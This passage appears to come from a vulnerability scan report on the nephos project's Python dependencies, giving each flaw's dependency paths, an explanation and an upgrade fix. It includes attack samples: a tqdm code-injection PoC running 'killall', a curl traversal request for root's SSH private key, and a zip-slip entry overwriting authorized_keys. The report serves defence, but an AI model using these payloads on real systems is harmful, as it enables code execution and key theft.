Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade urllib3 to version 1.26.5 or higher.

References

medium severity

Expected Behavior Violation

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@39.0.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Expected Behavior Violation in Cipher.update_into, which allows immutable objects (such as bytes) to be mutated, violating fundamental rules of Python. This allows programmers to misuse an API, and cannot be exploited by attacker-controlled data alone.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

medium severity

Injection

  • Vulnerable module: tqdm
  • Introduced through: tqdm@4.38.0 and twine@2.0.0

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 tqdm@4.38.0
    Remediation: Upgrade to tqdm@4.66.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 tqdm@4.38.0
    Remediation: Upgrade to twine@4.0.0.

Overview

Affected versions of this package are vulnerable to Injection due to the handling of optional non-boolean CLI arguments such as --delim, --buf-size, --manpath through python's eval function. An attacker can execute arbitrary code by injecting malicious input into these arguments.

PoC


python -m tqdm --manpath="\" + str(exec(\"import os\nos.system('echo hi && killall python3')\")) + \""

Remediation

Upgrade tqdm to version 4.66.3 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: babel
  • Introduced through: babel@2.7.0, sphinx@2.2.1 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 babel@2.7.0
    Remediation: Upgrade to babel@2.9.1.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 babel@2.7.0
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 babel@2.7.0
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

Babel is an Internationalization utilities

Affected versions of this package are vulnerable to Directory Traversal. It allows an attacker to load arbitrary locale files on a disk and execute arbitrary code.

Note: CVE-2021-20095 is a duplicate of CVE-2021-42771.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade Babel to version 2.9.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: gitpython
  • Introduced through: gitpython@3.0.4 and bandit@1.6.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 gitpython@3.0.4
    Remediation: Upgrade to gitpython@3.1.27.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 bandit@1.6.2 gitpython@3.0.4
    Remediation: Upgrade to bandit@1.6.2.

Overview

GitPython is a python library used to interact with Git repositories

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when a user controls the input passed to the pattern matching function.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade GitPython to version 3.1.27 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: py
  • Introduced through: py@1.8.0, pytest@5.3.2 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 py@1.8.0
    Remediation: Upgrade to py@1.10.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pytest@5.3.2 py@1.8.0
    Remediation: Upgrade to pytest@7.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 pytest-cov@2.8.1 pytest@5.3.2 py@1.8.0
    Remediation: Upgrade to pytest-cov@5.0.0.

Overview

py is an a Python development support library.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The subpattern \d+\s*\S+ is ambiguous which makes the pattern subject to catastrophic backtracing given a string like "1" * 5000.

SVN blame output seems to always have at least one space between the revision number and the user name, so the ambiguity can be fixed by changing the * to +.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade py to version 1.10.0 or higher.

References

medium severity

Information Exposure Through Sent Data

  • Vulnerable module: urllib3
  • Introduced through: urllib3@1.25.6, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 urllib3@1.25.6
    Remediation: Upgrade to urllib3@1.26.18.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests@2.32.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 urllib3@1.25.6
    Remediation: Upgrade to kubernetes@28.1.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to requests-oauthlib@1.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx@5.2.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to twine@5.0.0.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 urllib3@1.25.6
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 urllib3@1.25.6
    Remediation: Upgrade to sphinx-rtd-theme@3.0.0.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

medium severity

MPL-2.0 license

  • Module: certifi
  • Introduced through: certifi@2019.9.11, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 certifi@2019.9.11
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 certifi@2019.9.11

MPL-2.0 license

medium severity

LGPL-2.1 license

  • Module: chardet
  • Introduced through: chardet@3.0.4, requests@2.22.0 and others

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-oauthlib@1.2.0 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 requests-toolbelt@0.9.1 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx@2.2.1 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 kubernetes@10.0.1 requests-oauthlib@1.2.0 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 twine@2.0.0 requests-toolbelt@0.9.1 requests@2.22.0 chardet@3.0.4
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 sphinx-rtd-theme@0.4.3 sphinx@2.2.1 requests@2.22.0 chardet@3.0.4

LGPL-2.1 license

low severity

Denial of Service (DoS)

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when the DH_check(), DH_check_ex(), or EVP_PKEY_param_check() functions are used to check a DH key or DH parameters. An attacker can cause long delays and potentially a Denial of Service (DoS) by providing excessively long DH keys or parameters from an untrusted source. This is only exploitable if the application calls these functions and supplies a key or parameters obtained from an untrusted source.

Note: The OpenSSL SSL/TLS implementation and the OpenSSL 3.0 and 3.1 FIPS providers are not affected by this issue.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

low severity

Insufficient Verification of Data Authenticity

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@41.0.3.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the AES-SIV cipher implementation in ciphers/cipher_aes_siv.c, which ignores empty associated data entries, making them unauthenticated.

Applications that use the AES-SIV algorithm and want to authenticate empty data entries as associated data can be misled by removing, adding or reordering such empty entries as these are ignored by the OpenSSL implementation.

NOTE: This issue does not affect non-empty associated data authentication and the maintainers are currently unaware of any applications that use empty associated data entries.

Remediation

Upgrade cryptography to version 41.0.3 or higher.

References

low severity

Uncontrolled Resource Consumption ('Resource Exhaustion')

  • Vulnerable module: cryptography
  • Introduced through: cryptography@2.8 and adal@1.2.2

Detailed paths

  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 cryptography@2.8
    Remediation: Upgrade to cryptography@42.0.8.
  • Introduced through: hyperledger-labs/nephos@hyperledger-labs/nephos#4a39da2aaa5f7e88dc692fc53e9bd1308dbabab6 adal@1.2.2 cryptography@2.8

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') due to improper user input validation in the EVP_PKEY_param_check or EVP_PKEY_public_check functions. An attacker can cause a denial of service by supplying excessively long DSA keys or parameters obtained from an untrusted source.

Note:

OpenSSL does not call these functions on untrusted DSA keys, so only applications that directly call these functions may be vulnerable.

Also vulnerable are the OpenSSL pkey and pkeyparam command line applications when using the "-check" option.

Remediation

Upgrade cryptography to version 42.0.8 or higher.

References